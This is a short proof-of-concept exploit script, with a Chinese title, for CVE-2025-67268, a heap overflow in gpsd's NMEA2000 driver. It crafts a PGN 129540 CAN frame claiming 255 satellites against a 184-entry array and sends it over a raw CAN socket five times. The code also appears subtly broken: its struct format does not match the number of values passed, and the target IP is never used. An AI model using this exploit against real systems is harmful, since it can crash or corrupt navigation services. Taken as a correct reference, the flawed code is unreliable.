CVE-2025-67268 gpsd NMEA2000驱动堆溢出漏洞

# CVE-2025-67268 PoC - Malicious NMEA2000 PGN 129540 Packet # This PoC demonstrates the heap overflow in gpsd's NMEA2000 driver import socket import struct def create_malicious_pgn129540(satellite_count=255): """ Construct a malicious NMEA2000 PGN 129540 CAN frame PGN 129540: GNSS Satellites in View """ # CAN ID for PGN 129540 (Priority 3, PGN 129540, Source 0x00) can_id = (3 << 26) | (129540 << 8) | 0x00 # Data Length Code (DLC) - max 8 bytes for standard CAN dlc = 8 # Payload construction # Byte 0-1: Number of satellites (0-255, we use >184 to trigger overflow) # Bytes 2-7: Additional satellite data data = struct.pack('<H', satellite_count) # Satellite count data += b'\x00' * 6 # Padding/additional data # Pad to 8 bytes data = data.ljust(8, b'\x00') return can_id, dlc, data def send_malicious_packet(target_ip, can_interface='can0'): """ Send malicious CAN frame to trigger gpsd vulnerability """ try: sock = socket.socket(socket.PF_CAN, socket.SOCK_RAW, socket.CAN_RAW) sock.bind((can_interface,)) can_id, dlc, data = create_malicious_pgn129540(255) # Construct raw CAN frame can_frame = struct.pack('<IBBBBBBBB', can_id, dlc, *data) sock.send(can_frame) print(f"[+] Sent malicious PGN 129540 packet with {255} satellites") print(f"[+] Expected skyview array size: 184") print(f"[+] This will cause heap overflow in gpsd") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == '__main__': # Target configuration TARGET_IP = '192.168.1.100' # gpsd server IP print("CVE-2025-67268 PoC - gpsd heap overflow in driver_nmea2000.c") print("=" * 60) # Send multiple packets to increase exploit reliability for i in range(5): send_malicious_packet(TARGET_IP)